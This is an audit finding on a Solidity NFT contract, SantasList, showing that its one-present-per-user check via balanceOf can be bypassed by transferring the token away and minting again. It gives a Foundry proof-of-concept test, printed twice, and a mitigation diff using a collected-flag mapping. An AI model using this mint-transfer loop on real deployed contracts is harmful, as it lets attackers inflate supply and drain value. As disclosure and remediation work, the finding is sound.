Root + Impact-In src/SantasList.sol:collectPresent() the contract uses if (balanceOf(msg.sender) > 0) revert to enforce 1 present per user. This is flawed because ERC721 balance is not persistent - owner can transfer token to another address and reset balance to 0.
Impact: Breaks invariant of 1 present per NICE user. Any NICE user can mint unlimited NFTs by looping mint->transfer->mint. Causes infinite supply, devalues collection.
Description:Normal behavior: Each address checked NICE twice by Santa should collect exactly ONE present.Issue: balanceOf check can be bypassed. After first mint, attacker transfers NFT to dump address via transferFrom, balance becomes 0 again, and can call collectPresent() again. Can be automated in attacker contract to mint hundreds
PoC Steps:
1. Santa marks victim as NICE twice
2. Victim calls collectPresent() -> balance 1
3. Victim transfers NFT to dump address -> balance 0
4. Victim calls collectPresent() again -> bypasses check, mints again
Code:
function test_PoC_UnlimitedMint() public {
address niceUser = makeAddr("niceUser");
address dump = makeAddr("dump");
vm.prank(santasList.getSanta());
santasList.checkList(niceUser, SantasList.Status.NICE);
vm.prank(santasList.getSanta());
santasList.checkTwice(niceUser, SantasList.Status.NICE);
vm.prank(niceUser);
santasList.collectPresent();
vm.prank(niceUser);
santasList.transferFrom(niceUser, dump, 0);
vm.prank(niceUser);
santasList.collectPresent();
}
Risk
Likelihood: High - Any user marked NICE twice can execute it. No privileges required. transferFrom is standard public ERC721 function.
Impact:High - Infinite mint, breaks tokenomics, allows draining value if present is valuable, DOS of legitimate supply.
Proof of Concept-Normal behavior: Each address checked NICE twice by Santa should collect exactly ONE present.Issue: balanceOf check can be bypassed. After first mint, attacker transfers NFT to dump address via transferFrom, balance becomes 0 again, and can call collectPresent() again. Can be automated in attacker contract to mint hundreds.
function test_PoC_UnlimitedMint() public {
address niceUser = makeAddr("niceUser");
address dump = makeAddr("dump");
vm.prank(santasList.getSanta());
santasList.checkList(niceUser, SantasList.Status.NICE);
vm.prank(santasList.getSanta());
santasList.checkTwice(niceUser, SantasList.Status.NICE);
vm.prank(niceUser);
santasList.collectPresent();
assertEq(santasList.balanceOf(niceUser), 1);
vm.prank(niceUser);
santasList.transferFrom(niceUser, dump, 0);
assertEq(santasList.balanceOf(niceUser), 0);
vm.prank(niceUser);
santasList.collectPresent();
}
Recommended Mitigation-Do not use balanceOf for anti-sybil. Use a dedicated mapping that cannot be reset by transfer.
- if (balanceOf(msg.sender) > 0) { revert AlreadyCollected(); }
+ mapping(address => bool) private s_hasCollected;
+ if (s_hasCollected[msg.sender]) revert AlreadyCollected();
+ s_hasCollected[msg.sender] = true;